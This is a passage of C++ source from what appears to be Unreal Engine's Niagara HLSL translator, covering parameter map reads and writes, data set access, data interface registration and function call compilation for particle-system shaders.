Ret += IndexChunk != INDEX_NONE ? TEXT("_") + CodeChunks[IndexChunk].SymbolName : TEXT("");*/
return Ret;
}
void FHlslNiagaraTranslator::ParameterMapSet(UNiagaraNodeParameterMapSet* SetNode, TArray<int32>& Inputs, TArray<int32>& Outputs)
{
Outputs.SetNum(1);
FString ParameterMapInstanceName = TEXT("Context.Map");
TArray<UEdGraphPin*> InputPins;
SetNode->GetInputPins(InputPins);
int32 ParamMapHistoryIdx = INDEX_NONE;
for (int32 i = 0; i < Inputs.Num(); i++)
{
int32 Input = Inputs[i];
if (i == 0) // This is the parameter map
{
Outputs[0] = Inputs[0];
ParamMapHistoryIdx = Inputs[0];
ParameterMapInstanceName = GetParameterMapInstanceName(ParamMapHistoryIdx);
if (ParamMapHistoryIdx == -1)
{
Error(LOCTEXT("NoParamMapIdx", "Cannot find parameter map for input!"), SetNode, nullptr);
for (int32 j = 0; j < Outputs.Num(); j++)
{
Outputs[j] = INDEX_NONE;
return;
}
}
continue;
}
else if (SetNode->IsAddPin(InputPins[i]))
{
// Not a real pin..
continue;
}
else // These are the pins that we are setting on the parameter map.
{
FNiagaraVariable Var = Schema->PinToNiagaraVariable(InputPins[i], false);
if (!AddStructToDefinitionSet(Var.GetType()))
{
Error(FText::Format(LOCTEXT("ParameterMapSetTypeError", "Cannot handle type {0}! Variable: {1}"), Var.GetType().GetNameText(), FText::FromName(Var.GetName())), nullptr, nullptr);
}
FString VarName = Var.GetName().ToString();
if (FNiagaraParameterMapHistory::IsExternalConstantNamespace(Var, Script))
{
Error(FText::Format(LOCTEXT("SetSystemConstantFail", "Cannot Set external constant, Type: {0} Variable: {1}"), Var.GetType().GetNameText(), FText::FromName(Var.GetName())), SetNode, nullptr);
continue;
}
Var = ActiveHistoryForFunctionCalls.ResolveAliases(Var);
if (ParamMapHistoryIdx < ParamMapHistories.Num())
{
int32 VarIdx = ParamMapHistories[ParamMapHistoryIdx].FindVariableByName(Var.GetName());
if (VarIdx != INDEX_NONE && VarIdx < ParamMapSetVariablesToChunks[ParamMapHistoryIdx].Num())
{
ParamMapSetVariablesToChunks[ParamMapHistoryIdx][VarIdx] = Inputs[i];
ParamMapDefinedAttributesToNamespaceVars.FindOrAdd(Var.GetName()) = Var;
}
}
if (Var.GetType().GetClass() != nullptr)
{
// do nothing for now, we've recorded the value for the future.
}
else
{
AddBodyChunk(ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(Var.GetName().ToString()), TEXT("{0}"), Var.GetType(), Input, false);
}
}
}
}
bool FHlslNiagaraTranslator::IsBulkSystemScript() const
{
return (Script->Usage == ENiagaraScriptUsage::SystemSpawnScript || Script->Usage == ENiagaraScriptUsage::SystemUpdateScript) &&
!Script->GetName().Contains(TEXT("Solo"));
}
bool FHlslNiagaraTranslator::ParameterMapRegisterExternalConstantNamespaceVariable(FNiagaraVariable InVariable, UNiagaraNode* InNode, int32 InParamMapHistoryIdx, int32& Output, UEdGraphPin* InDefaultPin)
{
InVariable = ActiveHistoryForFunctionCalls.ResolveAliases(InVariable);
FString VarName = InVariable.GetName().ToString();
FString SymbolName = GetSanitizedSymbolName(VarName);
FString FlattenedName = SymbolName.Replace(TEXT("."), TEXT("_"));
FString ParameterMapInstanceName = GetParameterMapInstanceName(InParamMapHistoryIdx);
Output = INDEX_NONE;
if (InVariable.IsNameValid())
{
// We don't really want system delta time or inverse system delta time in a spawn script. It leads to trouble.
if ((Script->IsInterpolatedParticleSpawnScript() && this->bInsideInterpolatedSpawnScript) || (Script->IsParticleSpawnScript() && !Script->IsInterpolatedParticleSpawnScript()))
{
if (InVariable == SYS_PARAM_ENGINE_DELTA_TIME || InVariable == SYS_PARAM_ENGINE_INV_DELTA_TIME)
{
Warning(FText::Format(LOCTEXT("GetParameterInvalidParam", "Cannot call system variable {0} in a spawn script! It is invalid."), FText::FromName(InVariable.GetName())), nullptr, nullptr);
Output = GetConstantFloat(0.0f);
return true;
}
}
if (!IsBulkSystemScript() && false == ParamMapDefinedSystemVarsToUniformChunks.Contains(InVariable.GetName()))
{
FString SymbolNameDefined = FlattenedName;
if (!InVariable.IsDataAllocated() && !InDefaultPin)
{
FNiagaraEditorUtilities::ResetVariableToDefaultValue(InVariable);
}
else if (!InVariable.IsDataAllocated())
{
FNiagaraVariable Var = Schema->PinToNiagaraVariable(InDefaultPin, true);
FNiagaraEditorUtilities::ResetVariableToDefaultValue(InVariable);
if (Var.IsDataAllocated() && Var.GetData() != nullptr)
{
InVariable.SetData(Var.GetData());
}
}
if (InVariable.GetAllocatedSizeInBytes() != InVariable.GetSizeInBytes())
{
Error(FText::Format(LOCTEXT("GetParameterUnsetParam", "Variable {0} hasn't had its default value set. Required Bytes: {1} vs Allocated Bytes: {2}"), FText::FromName(InVariable.GetName()), FText::AsNumber(InVariable.GetType().GetSize()), FText::AsNumber(InVariable.GetSizeInBytes())), nullptr, nullptr);
}
CompilationOutput.Parameters.SetOrAdd(InVariable);
int32 UniformChunk = AddUniformChunk(SymbolNameDefined, InVariable.GetType());
ParamMapDefinedSystemVarsToUniformChunks.Add(InVariable.GetName(), UniformChunk);
ParamMapDefinedSystemToNamespaceVars.Add(InVariable.GetName(), InVariable);
MainPreSimulateChunks.Add(FString::Printf(TEXT("%s.%s = %s;"), *ParameterMapInstanceName, *VarName, *GetCodeAsSource(UniformChunk)));
}
else if (IsBulkSystemScript() && !ExternalVariablesForBulkUsage.Contains(InVariable))
{
ExternalVariablesForBulkUsage.Add(InVariable);
}
Output = AddSourceChunk(ParameterMapInstanceName + TEXT(".") + SymbolName, InVariable.GetType());
return true;
}
if (Output == INDEX_NONE)
{
Error(FText::Format(LOCTEXT("GetSystemConstantFail", "Unknown System constant, Type: {0} Variable: {1}"), InVariable.GetType().GetNameText(), FText::FromName(InVariable.GetName())), InNode, nullptr);
}
return false;
}
bool FHlslNiagaraTranslator::ParameterMapRegisterUniformAttributeVariable(const FNiagaraVariable& InVariable, UNiagaraNode* InNode, int32 InParamMapHistoryIdx, int32& Output)
{
FNiagaraVariable NewVar = FNiagaraParameterMapHistory::BasicAttributeToNamespacedAttribute(InVariable);
if (NewVar.IsNameValid())
{
return ParameterMapRegisterNamespaceAttributeVariable(NewVar, InNode, InParamMapHistoryIdx, Output);
}
return false;
}
bool FHlslNiagaraTranslator::ParameterMapRegisterNamespaceAttributeVariable(const FNiagaraVariable& InVariable, UNiagaraNode* InNode, int32 InParamMapHistoryIdx, int32& Output)
{
FString VarName = InVariable.GetName().ToString();
FString SymbolNameNamespaced = GetSanitizedSymbolName(VarName);
FString ParameterMapInstanceName = GetParameterMapInstanceName(InParamMapHistoryIdx);
FNiagaraVariable NamespaceVar = InVariable;
Output = INDEX_NONE;
FNiagaraVariable BasicVar = FNiagaraParameterMapHistory::ResolveAsBasicAttribute(InVariable);
if (BasicVar.IsNameValid())
{
if (false == ParamMapDefinedAttributesToUniformChunks.Contains(BasicVar.GetName()))
{
FString SymbolNameDefined = GetSanitizedSymbolName(BasicVar.GetName().ToString());
int32 UniformChunk = INDEX_NONE;
int32 Idx = InstanceRead.Variables.Find(NamespaceVar);
if (Idx != INDEX_NONE)
{
UniformChunk = InstanceRead.CodeChunks[Idx];
}
else
{
UniformChunk = AddSourceChunk(ParameterMapInstanceName + TEXT(".") + SymbolNameNamespaced, NamespaceVar.GetType());
InstanceRead.CodeChunks.Add(UniformChunk);
InstanceRead.Variables.Add(NamespaceVar);
}
ParamMapDefinedAttributesToUniformChunks.Add(BasicVar.GetName(), UniformChunk);
ParamMapDefinedAttributesToNamespaceVars.Add(BasicVar.GetName(), NamespaceVar);
}
Output = AddSourceChunk(ParameterMapInstanceName + TEXT(".") + SymbolNameNamespaced, NamespaceVar.GetType());
return true;
}
if (Output == INDEX_NONE)
{
Error(FText::Format(LOCTEXT("GetEmitterUniformFail", "Unknown Emitter Uniform Variable, Type: {0} Variable: {1}"), InVariable.GetType().GetNameText(), FText::FromName(InVariable.GetName())), InNode, nullptr);
}
return false;
}
FString FHlslNiagaraTranslator::GetParameterMapInstanceName(int32 ParamMapHistoryIdx)
{
FString ParameterMapInstanceName = TEXT("Context.Map");
if (Script->IsInterpolatedParticleSpawnScript())
{
if (bInsideInterpolatedSpawnScript)
{
ParameterMapInstanceName = TEXT("Context.MapSpawn");
}
else
{
ParameterMapInstanceName = TEXT("Context.MapUpdate");
}
}
return ParameterMapInstanceName;
}
void FHlslNiagaraTranslator::Emitter(class UNiagaraNodeEmitter* EmitterNode, TArray<int32>& Inputs, TArray<int32>& Outputs)
{
FNiagaraFunctionSignature Signature;
UNiagaraScriptSource* Source = EmitterNode->GetScriptSource();
if (Source == nullptr)
{
Error(LOCTEXT("FunctionCallNonexistant", "Emitter call missing ScriptSource"), EmitterNode, nullptr);
return;
}
// We need the generated string to generate the proper signature for now.
FString EmitterUniqueName = EmitterNode->GetEmitterUniqueName();
ENiagaraScriptUsage ScriptUsage = EmitterNode->GetUsage();
FString Name = EmitterNode->GetName();
FString FullName = EmitterNode->GetFullName();
ActiveHistoryForFunctionCalls.EnterEmitter(EmitterUniqueName, EmitterNode);
TArray<UEdGraphPin*> CallOutputs;
TArray<UEdGraphPin*> CallInputs;
EmitterNode->GetOutputPins(CallOutputs);
EmitterNode->GetInputPins(CallInputs);
// We act like a function call here as the semantics are identical.
RegisterFunctionCall(ScriptUsage, Name, FullName, Source, Signature, Inputs, CallInputs, CallOutputs, Signature);
GenerateFunctionCall(Signature, Inputs, Outputs);
ActiveHistoryForFunctionCalls.ExitEmitter(EmitterUniqueName, EmitterNode);
}
void FHlslNiagaraTranslator::ParameterMapGet(UNiagaraNodeParameterMapGet* GetNode, TArray<int32>& Inputs, TArray<int32>& Outputs)
{
TArray<UEdGraphPin*> OutputPins;
GetNode->GetOutputPins(OutputPins);
TArray<UEdGraphPin*> InputPins;
GetNode->GetInputPins(InputPins);
int32 ParamMapHistoryIdx = Inputs[0];
Outputs.SetNum(OutputPins.Num());
if (ParamMapHistoryIdx == -1)
{
Error(LOCTEXT("NoParamMapIdx", "Cannot find parameter map for input!"), GetNode, nullptr);
for (int32 i = 0; i < Outputs.Num(); i++)
{
Outputs[i] = INDEX_NONE;
return;
}
}
FString ParameterMapInstanceName = GetParameterMapInstanceName(ParamMapHistoryIdx);
for (int32 i = 0; i < OutputPins.Num(); i++)
{
if (GetNode->IsAddPin(OutputPins[i]))
{
// Not a real pin.
Outputs[i] = INDEX_NONE;
continue;
}
else // These are the pins that we are getting off the parameter map.
{
FNiagaraVariable Var = Schema->PinToNiagaraVariable(OutputPins[i], true);
if (!AddStructToDefinitionSet(Var.GetType()))
{
Error(FText::Format(LOCTEXT("ParameterMapGetTypeError", "Cannot handle type {0}! Variable: {1}"), Var.GetType().GetNameText(), FText::FromName(Var.GetName())), nullptr, nullptr);
}
// If this is a System parameter, just wire in the system appropriate system attribute.
FString VarName = Var.GetName().ToString();
FString SymbolName = GetSanitizedSymbolName(VarName);
bool bIsPerInstanceAttribute = false;
if (FNiagaraParameterMapHistory::IsExternalConstantNamespace(Var, Script))
{
if (ParameterMapRegisterExternalConstantNamespaceVariable(Var, GetNode, ParamMapHistoryIdx, Outputs[i], GetNode->GetDefaultPin(OutputPins[i])))
{
continue;
}
}
FNiagaraParameterMapHistory& History = ParamMapHistories[ParamMapHistoryIdx];
Var = ActiveHistoryForFunctionCalls.ResolveAliases(Var);
if (History.IsPrimaryDataSetOutput(Var, GetTargetUsage()))
{
bIsPerInstanceAttribute = true;
}
int32 LastSetChunkIdx = INDEX_NONE;
if (ParamMapHistoryIdx < ParamMapHistories.Num())
{
int32 VarIdx = ParamMapHistories[ParamMapHistoryIdx].FindVariableByName(Var.GetName());
if (VarIdx != INDEX_NONE && VarIdx < ParamMapSetVariablesToChunks[ParamMapHistoryIdx].Num())
{
LastSetChunkIdx = ParamMapSetVariablesToChunks[ParamMapHistoryIdx][VarIdx];
}
// We have yet to write to this parameter, use the default value if specified and the parameter
// isn't a per-particle value.
bool bIgnoreDefaultValue = false;
if (bIsPerInstanceAttribute)
{
if ((Script->IsInterpolatedParticleSpawnScript() && bInsideInterpolatedSpawnScript == false) || !Script->IsSpawnScript())
{
bIgnoreDefaultValue = true;
}
}
if (LastSetChunkIdx == INDEX_NONE && (Script->IsInterpolatedParticleSpawnScript() || Script->IsParticleSpawnScript() || Script->IsEmitterSpawnScript() || Script->IsSystemSpawnScript()))
{
if (FNiagaraParameterMapHistory::IsInitialValue(Var))
{
FNiagaraVariable SourceForInitialValue = FNiagaraParameterMapHistory::GetSourceForInitialValue(Var);
bool bFoundExistingSet = false;
for (int32 OtherParamIdx = 0; OtherParamIdx < OtherOutputParamMapHistories.Num(); OtherParamIdx++)
{
if (INDEX_NONE != OtherOutputParamMapHistories[OtherParamIdx].FindVariableByName(SourceForInitialValue.GetName()))
{
bFoundExistingSet = true;
}
}
if (bFoundExistingSet)
{
LastSetChunkIdx = AddBodyChunk(ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(Var.GetName().ToString()),
ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(SourceForInitialValue.GetName().ToString()), Var.GetType(), false);
ParamMapDefinedAttributesToNamespaceVars.FindOrAdd(Var.GetName()) = Var;
}
else
{
Error(FText::Format(LOCTEXT("MissingInitialValueSource", "Variable {0} is used, but its source variable {1} is not set!"), FText::FromName(Var.GetName()), FText::FromName(SourceForInitialValue.GetName())), nullptr, nullptr);
}
}
}
if (LastSetChunkIdx == INDEX_NONE && !bIgnoreDefaultValue)
{
UEdGraphPin* InputPin = GetNode->GetDefaultPin(OutputPins[i]);
// Default was found, trace back its inputs.
if (InputPin != nullptr )
{
LastSetChunkIdx = CompilePin(InputPin);
if (!Var.IsDataInterface())
{
if (VarIdx != INDEX_NONE && VarIdx < ParamMapSetVariablesToChunks[ParamMapHistoryIdx].Num())
{
// Record that we wrote to it.
ParamMapSetVariablesToChunks[ParamMapHistoryIdx][VarIdx] = LastSetChunkIdx;
ParamMapDefinedAttributesToNamespaceVars.FindOrAdd(Var.GetName()) = Var;
}
else
{
Error(FText::Format(LOCTEXT("NoVarDefaultFound", "Default found for {0}, but not found in ParameterMap traversal"), FText::FromName(Var.GetName())), GetNode, nullptr);
}
// Actually insert the text that sets the default value
if (LastSetChunkIdx != INDEX_NONE)
{
if (Var.GetType().GetClass() == nullptr) // Only need to do this wiring for things that aren't data interfaces.
{
AddBodyChunk(ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(Var.GetName().ToString()), TEXT("{0}"), Var.GetType(), LastSetChunkIdx, false);
}
}
}
}
}
}
// If we are of a data interface, we should output the data interface registration index, otherwise output
// the map namespace that we're writing to.
if (Var.IsDataInterface())
{
// In order for a module to compile successfully, we potentially need to generate default values
// for variables encountered without ever being set. We do this by creating an instance of the CDO.
if (Script->IsStandaloneScript() && LastSetChunkIdx == INDEX_NONE)
{
UObject* Obj = const_cast<UClass*>(Var.GetType().GetClass())->GetDefaultObject(true);
UNiagaraDataInterface* DataInterface = Cast<UNiagaraDataInterface>(DuplicateObject(Obj, GetTransientPackage()));
if (DataInterface)
{
UE_LOG(LogNiagaraEditor, Log, TEXT("Creating stand-in due to missing data interface!"));
LastSetChunkIdx = RegisterDataInterface(Var, DataInterface);
}
}
Outputs[i] = LastSetChunkIdx;
}
else
{
Outputs[i] = AddSourceChunk(ParameterMapInstanceName + TEXT(".") + GetSanitizedSymbolName(Var.GetName().ToString()), Var.GetType());
ParamMapDefinedAttributesToNamespaceVars.FindOrAdd(Var.GetName()) = Var;
}
}
}
}
void FHlslNiagaraTranslator::ParameterCollection(class UNiagaraNodeParameterCollection* CollectionNode, TArray<int32>& Outputs)
{
UNiagaraParameterCollection* Collection = CollectionNode->GetCollection();
check(Collection);
TArray<UEdGraphPin*> OutputPins;
CollectionNode->GetOutputPins(OutputPins);
check(Outputs.Num() == 0);
for (int32 i = 0; i < OutputPins.Num(); i++)
{
if (CollectionNode->IsAddPin(OutputPins[i]))
{
Outputs.Add(INDEX_NONE);//Add dummy output for add pin.
continue;
}
FNiagaraVariable PinVar = Collection->CollectionParameterFromFriendlyParameter(Schema->PinToNiagaraVariable(OutputPins[i]));
int32 SrcVarIdx = Collection->IndexOfParameter(PinVar);
if (SrcVarIdx == INDEX_NONE)
{
Error(LOCTEXT("MissingCollectionParameter", "Parameter is not a member of this Parameter Collection."), CollectionNode, OutputPins[i]);
Outputs.Add(INDEX_NONE);
}
else
{
FNiagaraVariable& SrcVar = Collection->GetParameters()[SrcVarIdx];
if (SrcVar.IsDataInterface())
{
Outputs.Add(RegisterDataInterface(SrcVar, Collection->GetDefaultInstance()->GetParameterStore().GetDataInterface(SrcVar)));
}
else
{
FString VarSymbol = GetSanitizedSymbolName(SrcVar.GetName().ToString());
//Add uniform access to hlsl.
//Need to interact with the parameter map?
Outputs.Add(AddUniformChunk(VarSymbol, SrcVar.GetType()));
CompilationOutput.Parameters.SetOrAdd(SrcVar);
}
Script->ParameterCollections.AddUnique(Collection);
}
}
}
void FHlslNiagaraTranslator::ReadDataSet(const FNiagaraDataSetID DataSet, const TArray<FNiagaraVariable>& Variables, ENiagaraDataSetAccessMode AccessMode, int32 InputChunk, TArray<int32>& Outputs)
{
//Eventually may allow events that take in a direct index or condition but for now we don't
check(InputChunk == INDEX_NONE);
TMap<int32, FDataSetAccessInfo>& Reads = DataSetReadInfo[(int32)AccessMode].FindOrAdd(DataSet);
FDataSetAccessInfo* DataSetReadForInput = Reads.Find(InputChunk);
if (!DataSetReadForInput)
{
DataSetReadForInput = &Reads.Add(InputChunk);
DataSetReadForInput->Variables = Variables;
DataSetReadForInput->CodeChunks.Reserve(Variables.Num()+1);
FString DataSetAccessSymbol = GetDataSetAccessSymbol(DataSet, InputChunk, true);
//Add extra output to indicate if event read is valid data.
//DataSetReadForInput->CodeChunks.Add(AddSourceChunk(DataSetAccessSymbol + TEXT("_Valid"), FNiagaraTypeDefinition::GetIntDef()));
for (int32 i=0; i<Variables.Num(); ++i)
{
const FNiagaraVariable& Var = Variables[i];
if (!AddStructToDefinitionSet(Var.GetType()))
{
Error(FText::Format(LOCTEXT("GetConstantFailTypeVar", "Cannot handle type {0}! Variable: {1}"), Var.GetType().GetNameText(), FText::FromName(Var.GetName())), nullptr, nullptr);
}
DataSetReadForInput->CodeChunks.Add(AddSourceChunk(DataSetAccessSymbol + TEXT(".") + GetSanitizedSymbolName(Var.GetName().ToString()), Var.GetType()));
}
Outputs = DataSetReadForInput->CodeChunks;
}
else
{
check(Variables.Num() == DataSetReadForInput->Variables.Num());
Outputs = DataSetReadForInput->CodeChunks;
}
}
void FHlslNiagaraTranslator::WriteDataSet(const FNiagaraDataSetID DataSet, const TArray<FNiagaraVariable>& Variables, ENiagaraDataSetAccessMode AccessMode, const TArray<int32>& Inputs)
{
int32 ConditionalChunk = Inputs[0];
int32 InputChunk = Inputs[1];
TMap<int32, FDataSetAccessInfo>& Writes = DataSetWriteInfo[(int32)AccessMode].FindOrAdd(DataSet);
FDataSetAccessInfo* DataSetWriteForInput = Writes.Find(InputChunk);
int32& DataSetWriteConditionalIndex = DataSetWriteConditionalInfo[(int32)AccessMode].FindOrAdd(DataSet);
//We should never try to write to the exact same dataset at the same index/condition twice.
//This is still possible but we can catch easy cases here.
if (DataSetWriteForInput)
{
//TODO: improve error report.
Error(LOCTEXT("WritingToSameDataSetError", "Writing to the same dataset with the same condition/index."), NULL, NULL);
return;
}
DataSetWriteConditionalIndex = ConditionalChunk;
DataSetWriteForInput = &Writes.Add(InputChunk);
DataSetWriteForInput->Variables = Variables;
//FString DataSetAccessName = GetDataSetAccessSymbol(DataSet, InputChunk, false);
FString DataSetAccessName = FString("Context.") + DataSet.Name.ToString() + "Write"; // TODO: HACK - need to get the real symbol name here
//First chunk for a write is always the condition pin.
//We always write the event payload into the temp storage but we can access this condition to pass to the final actual write to the buffer.
DataSetWriteForInput->CodeChunks.Add(AddBodyChunk(DataSetAccessName + TEXT("_Valid"), TEXT("{0}"), FNiagaraTypeDefinition::GetBoolDef(), Inputs[0], false));
for (int32 i = 0; i < Variables.Num(); ++i)
{
const FNiagaraVariable& Var = Variables[i];
int32 Input = Inputs[i + 1];//input 0 is the valid input (no entry in variables array), so we need of offset all other inputs by 1.
DataSetWriteForInput->CodeChunks.Add(AddBodyChunk(DataSetAccessName + TEXT(".") + GetSanitizedSymbolName(Var.GetName().ToString()), TEXT("{0}"), Var.GetType(), Input, false));
}
}
int32 FHlslNiagaraTranslator::RegisterDataInterface(FNiagaraVariable& Var, UNiagaraDataInterface* DataInterface)
{
int32 FuncParam;
if (GetFunctionParameter(Var, FuncParam))
{
if (FuncParam != INDEX_NONE)
{
//This data interface param has been overridden by the function call so use that index.
return FuncParam;
}
}
//If we get here then this is a new data interface.
int32 Idx = CompilationOutput.DataInterfaceInfo.AddDefaulted();
CompilationOutput.DataInterfaceInfo[Idx].DataInterface = DataInterface;
CompilationOutput.DataInterfaceInfo[Idx].Name = Var.GetName();
//Interface requires per instance data so add a user pointer table entry.
if (DataInterface->PerInstanceDataSize() > 0)
{
CompilationOutput.DataInterfaceInfo[Idx].UserPtrIdx = CompilationOutput.NumUserPtrs++;
}
return Idx;
}
void FHlslNiagaraTranslator::Operation(class UNiagaraNodeOp* Operation, TArray<int32>& Inputs, TArray<int32>& Outputs)
{
// Use the pins to determine the output type here since they may have been changed due to numeric pin fix up.
const FNiagaraOpInfo* OpInfo = FNiagaraOpInfo::GetOpInfo(Operation->OpName);
//EnterStatsScope(FNiagaraStatScope(*Operation->GetFullName(), OpInfo->FriendlyName));
TArray<UEdGraphPin*> OutputPins;
Operation->GetOutputPins(OutputPins);
for (int32 OutputIndex = 0; OutputIndex < OutputPins.Num(); OutputIndex++)
{
FNiagaraTypeDefinition OutputType = Schema->PinToTypeDefinition(OutputPins[OutputIndex]);
if (!AddStructToDefinitionSet(OutputType))
{
FText PinNameText = OutputPins[OutputIndex]->PinFriendlyName.IsEmpty() ? FText::FromString(OutputPins[OutputIndex]->PinName) : OutputPins[OutputIndex]->PinFriendlyName;
Error(FText::Format(LOCTEXT("GetConstantFailTypePin", "Cannot handle type {0}! Output Pin: {1}"), OutputType.GetNameText(), PinNameText), Operation, OutputPins[OutputIndex]);
}
const FNiagaraOpInOutInfo& IOInfo = OpInfo->Outputs[OutputIndex];
check(!IOInfo.HlslSnippet.IsEmpty());
Outputs.Add(AddBodyChunk(GetUniqueSymbolName(IOInfo.Name), IOInfo.HlslSnippet, OutputType, Inputs));
}
//ExitStatsScope();
}
void FHlslNiagaraTranslator::FunctionCall(UNiagaraNodeFunctionCall* FunctionNode, TArray<int32>& Inputs, TArray<int32>& Outputs)
{
FNiagaraFunctionSignature Signature;
if (FunctionNode->FunctionScript == nullptr && !FunctionNode->Signature.IsValid())
{
Error(LOCTEXT("FunctionCallNonexistant", "Function call missing FunctionScript and invalid signature"), FunctionNode, nullptr);
return;
}
// We need the generated string to generate the proper signature for now.
ActiveHistoryForFunctionCalls.EnterFunction(FunctionNode->GetFunctionName(), FunctionNode->FunctionScript, FunctionNode);
TArray<UEdGraphPin*> CallOutputs;
TArray<UEdGraphPin*> CallInputs;
FunctionNode->GetOutputPins(CallOutputs);
FunctionNode->GetInputPins(CallInputs);
ENiagaraScriptUsage ScriptUsage = ENiagaraScriptUsage::Function;
FString Name;
FString FullName;
UNiagaraScriptSource* Source = nullptr;
if (FunctionNode->FunctionScript)
{
ScriptUsage = FunctionNode->FunctionScript->GetUsage();
Name = FunctionNode->FunctionScript->GetName();
FullName = FunctionNode->FunctionScript->GetFullName();
Source = CastChecked<UNiagaraScriptSource>(FunctionNode->FunctionScript->GetSource());
}
RegisterFunctionCall(ScriptUsage, Name, FullName, Source, FunctionNode->Signature, Inputs, CallInputs, CallOutputs, Signature);
GenerateFunctionCall(Signature, Inputs, Outputs);
ActiveHistoryForFunctionCalls.ExitFunction(FunctionNode->GetFunctionName(), FunctionNode->FunctionScript, FunctionNode);
}
void FHlslNiagaraTranslator::RegisterFunctionCall(ENiagaraScriptUsage ScriptUsage, const FString& InName, const FString& InFullName, UNiagaraScriptSource* Source, FNiagaraFunctionSignature& InSignature, TArray<int32>& Inputs, const TArray<UEdGraphPin*>& CallInputs, const TArray<UEdGraphPin*>& CallOutputs,
FNiagaraFunctionSignature& OutSignature)
{
//////////////////////////////////////////////////////////////////////////
if (Source)
{
UNiagaraGraph* SourceGraph = CastChecked<UNiagaraGraph>(Source->NodeGraph);
bool bHasNumericInputs = false;
if (SourceGraph->HasNumericParameters())
{
TArray<UNiagaraNodeInput*> InputNodes;
UNiagaraGraph::FFindInputNodeOptions Options;
Options.bFilterDuplicates = true;
Options.bIncludeParameters = true;
Options.bIncludeAttributes = false;
Options.bIncludeSystemConstants = false;
SourceGraph->FindInputNodes(InputNodes, Options);
for (UNiagaraNodeInput* Input : InputNodes)
{
if (Input->Input.GetType() == FNiagaraTypeDefinition::GetGenericNumericDef())
{
bHasNumericInputs = true;
}
}
//We have to clone and preprocess the function graph to ensure it's numeric types have been fixed up to real types.
UNiagaraGraph* PreprocessedGraph = CastChecked<UNiagaraGraph>(FEdGraphUtilities::CloneGraph(SourceGraph, Source, &MessageLog));
FEdGraphUtilities::MergeChildrenGraphsIn(PreprocessedGraph, PreprocessedGraph, /*bRequireSchemaMatch=*/ true);
PreprocessFunctionGraph(*this, Schema, PreprocessedGraph, CallInputs, CallOutputs, ScriptUsage);
SourceGraph = PreprocessedGraph;
}
else
{
//If we don't have numeric inputs then we can cache the preprocessed graphs.
UNiagaraGraph** CachedGraph = PreprocessedFunctions.Find(SourceGraph);
if (!CachedGraph)
{
CachedGraph = &PreprocessedFunctions.Add(SourceGraph);
*CachedGraph = CastChecked<UNiagaraGraph>(FEdGraphUtilities::CloneGraph(Source->NodeGraph, Source, &MessageLog));
FEdGraphUtilities::MergeChildrenGraphsIn(*CachedGraph, *CachedGraph, /*bRequireSchemaMatch=*/ true);
PreprocessFunctionGraph(*this, Schema, *CachedGraph, CallInputs, CallOutputs, ScriptUsage);
}
SourceGraph = *CachedGraph;
}
GenerateFunctionSignature(ScriptUsage, InName, InFullName, SourceGraph, Inputs, bHasNumericInputs, OutSignature);
// //Sort the input and outputs to match the sorted parameters. They may be different.
// TArray<FNiagaraVariable> OrderedInputs;
// TArray<FNiagaraVariable> OrderedOutputs;
// SourceGraph->GetParameters(OrderedInputs, OrderedOutputs);
// TArray<UEdGraphPin*> InPins;
// FunctionNode->GetInputPins(InPins);
//
// TArray<int32> OrderedInputChunks;
// OrderedInputChunks.SetNumUninitialized(Inputs.Num());
// for (int32 i = 0; i < InPins.Num(); ++i)
// {
// FNiagaraVariable PinVar(Schema->PinToTypeDefinition(InPins[i]), *InPins[i]->PinName);
// int32 InputIdx = OrderedInputs.IndexOfByKey(PinVar);
// check(InputIdx != INDEX_NONE);
// OrderedInputChunks[i] = Inputs[InputIdx];
// }
// Inputs = OrderedInputChunks;
FString* FuncBody = Functions.Find(OutSignature);
if (!FuncBody)
{
//We've not compiled this function yet so compile it now.
EnterFunction(InName, OutSignature, Inputs);
UNiagaraNodeOutput* FuncOutput = SourceGraph->FindOutputNode(ScriptUsage);
check(FuncOutput);
//Track the start of this funciton in the chunks so we can remove them after we grab the funcitons hlsl.
int32 ChunkStart = CodeChunks.Num();
int32 ChunkStartsByMode[(int32)ENiagaraCodeChunkMode::Num];
for (int32 i = 0; i < (int32)ENiagaraCodeChunkMode::Num; ++i)
{
ChunkStartsByMode[i] = ChunksByMode[i].Num();
}
FHlslNiagaraTranslator* ThisTranslator = this;
TArray<int32> FuncOutputChunks;
FuncOutput->Compile(ThisTranslator, FuncOutputChunks);
// Find all of the data set writes that were connected to this particular graph.
TArray<UNiagaraNode*> OutputTraversal;
SourceGraph->BuildTraversal(OutputTraversal, FuncOutput);
TArray<UNiagaraNodeWriteDataSet *>WriteNodes;
SourceGraph->FindWriteDataSetNodes(WriteNodes);
// If the write data set graph traversal intersects with our normal output graph traversal, then
// we consider them part of the same overall graph traversal and include the write nodes.
for (UNiagaraNodeWriteDataSet *WriteNode : WriteNodes)
{
TArray<UNiagaraNode*> WriteTraversal;
SourceGraph->BuildTraversal(WriteTraversal, WriteNode);
bool bReferencesSameGraph = false;
for (UNiagaraNode* Node : WriteTraversal)
{
if (OutputTraversal.Contains(Node))
{
bReferencesSameGraph = true;
}
}
if (bReferencesSameGraph)
{
WriteNode->Compile(ThisTranslator, FuncOutputChunks);
}
}
//Grab all the body chunks for this function.
FString FunctionDefStr;
for (int32 i = ChunkStartsByMode[(int32)ENiagaraCodeChunkMode::Body]; i < ChunksByMode[(int32)ENiagaraCodeChunkMode::Body].Num(); ++i)
{
FunctionDefStr += GetCode(ChunksByMode[(int32)ENiagaraCodeChunkMode::Body][i]);
}
//Now remove all chunks for the function again.
//This is super hacky. Should move chunks etc into a proper scoping system.
TArray<FNiagaraCodeChunk> FuncUniforms;
for (int32 i = 0; i < (int32)ENiagaraCodeChunkMode::Num; ++i)
{
//Keep uniform chunks.
if (i == (int32)ENiagaraCodeChunkMode::Uniform)
{
for (int32 ChunkIdx = ChunkStartsByMode[i]; ChunkIdx < ChunksByMode[i].Num(); ++ChunkIdx)
{
FuncUniforms.Add(CodeChunks[ChunksByMode[i][ChunkIdx]]);
}
}
ChunksByMode[i].RemoveAt(ChunkStartsByMode[i], ChunksByMode[i].Num() - ChunkStartsByMode[i]);
}
CodeChunks.RemoveAt(ChunkStart, CodeChunks.Num() - ChunkStart, false);
//Re-add the uniforms. Really this is horrible. Rework soon.
for (FNiagaraCodeChunk& Chunk : FuncUniforms)
{
ChunksByMode[(int32)ENiagaraCodeChunkMode::Uniform].Add(CodeChunks.Add(Chunk));
}
